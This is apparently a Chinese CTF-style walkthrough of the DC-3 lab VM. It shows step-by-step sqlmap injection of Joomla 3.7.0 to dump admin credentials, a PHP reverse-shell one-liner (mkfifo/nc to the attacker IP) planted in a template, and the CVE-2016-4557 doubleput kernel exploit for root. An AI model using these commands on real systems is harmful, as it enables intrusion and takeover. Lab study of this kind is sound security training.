一、信息收集
查询本机ip及目标靶机ip
本机ip:192.168.56.104,利用nmap查询同网段存活的ip,或者使用arp-scan -l
靶机ip为:192.168.56.112,下一步收集靶机开放的端口信息
收集靶机开放端口
输入nmap -sS -sV -T5 -A 192.168.56.112 搜索相应开放的端口及服务还有版本
发现只有80端口,同时也发现了个Joomla的cms框架,该框架最新的cve-2023-23752,将在后面更新,一个未授权访问漏洞,Joomla! CMS 版本4.0.0 - 4.2.7中由于对web 服务端点访问限制不当,可能导致未授权访问Rest API,造成敏感信息泄露(如数据库账号密码等)。鉴于该漏洞影响较大,建议客户尽快做好自查及防护。
对应端口进行尝试
这里介绍一个新工具joomscan,后面将会和wpscan同时更新一篇文章,这里就先利用了
输入joomscan --url 192.168.56.112
检测到了很多目录,浏览器输入地址后发现
这里说,该靶机仅有一个flag,应该是需要提权后才可以查看的到,这边发现了个登录框,去漏洞库里查找下看是否存在sql注入的漏洞
二、Web渗透
输入searchsploit joomla 3.7.0 -w,如果不知道如何利用,可以看后面的url,里面有方式
直接上sqlmap,进行注入
sqlmap -u " http://192.168.56.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
发现了joomladb的数据库,继续报数据表
sqlmap -u " http://192.168.56.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables
爆出来了n多张表,这里,根据users表,爆出用户名和密码
sqlmap -u " http://192.168.56.112/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' -C name,password --dump
发现了admin用户和它的password,将password复制粘贴到一个txt文档中,进行密码破解
我这边已经破解过了,用户名admin、密码snoopy
登陆后,就要开始寻找有没有可以getshell的地方,这类的cms肯定是有上传文件的地方,这里可以上传一个一句话木马,用蚁剑进行连接,也可以写一个php,反弹shell到我们的攻击机上,这边,经过寻找发现了有个templates的beez3的目录
新建个shell.php文件,然后去网上找个反弹shell脚本或者自己简单的写一个
<?php
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.104 4444 >/tmp/f');
?>
然后保存该文件,在终端nc -vlp 4444端口,网页访问/templates/beez3/shell.php,即可反弹一个低权限的shell,然后键入
python -c 'import pty;pty.spawn("/bin/bash")'
获取到了低权限的下一步就是提权了,首先搜集有关靶机的信息,输入
uname -a
lsb_release -a
发现ubuntu 16.04 4.4.0,在本地终端搜索相关的exp
searchsploit ubuntu 16.04 4.4.x -w
打开后面的url,可以知晓如何使用该exp
下载这个39772.zip到本地,并且解压
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
在本地开启http.server服务,在shell中下载攻击机上下载的39772.zip压缩包
使用unzip解压后得到39772文件夹,里面还有两个tar的压缩包,使用tar -xvf exploit.tar
解压后进入该文件夹,运行./compile.sh,会编译出doubleput可执行文件,然后./doubleput即可提权为root
在root目录下即可获得flag,本次DC项目的第三台靶机渗透结束。
注意:Linux kernel replace_map_fd_with_map_ptr拒绝服务漏洞(CVE-2016-4557)
Linux Kernel是Linux操作系统的内核。
Linux kernel 4.5.5之前版本,kernel/bpf/verifier.c/replace_map_fd_with_map_ptr未正确维护fd数据结构,存在安全漏洞,可使本地用户造成拒绝服务或提升权限。
每天学习一丢丢,进步一丢丢!!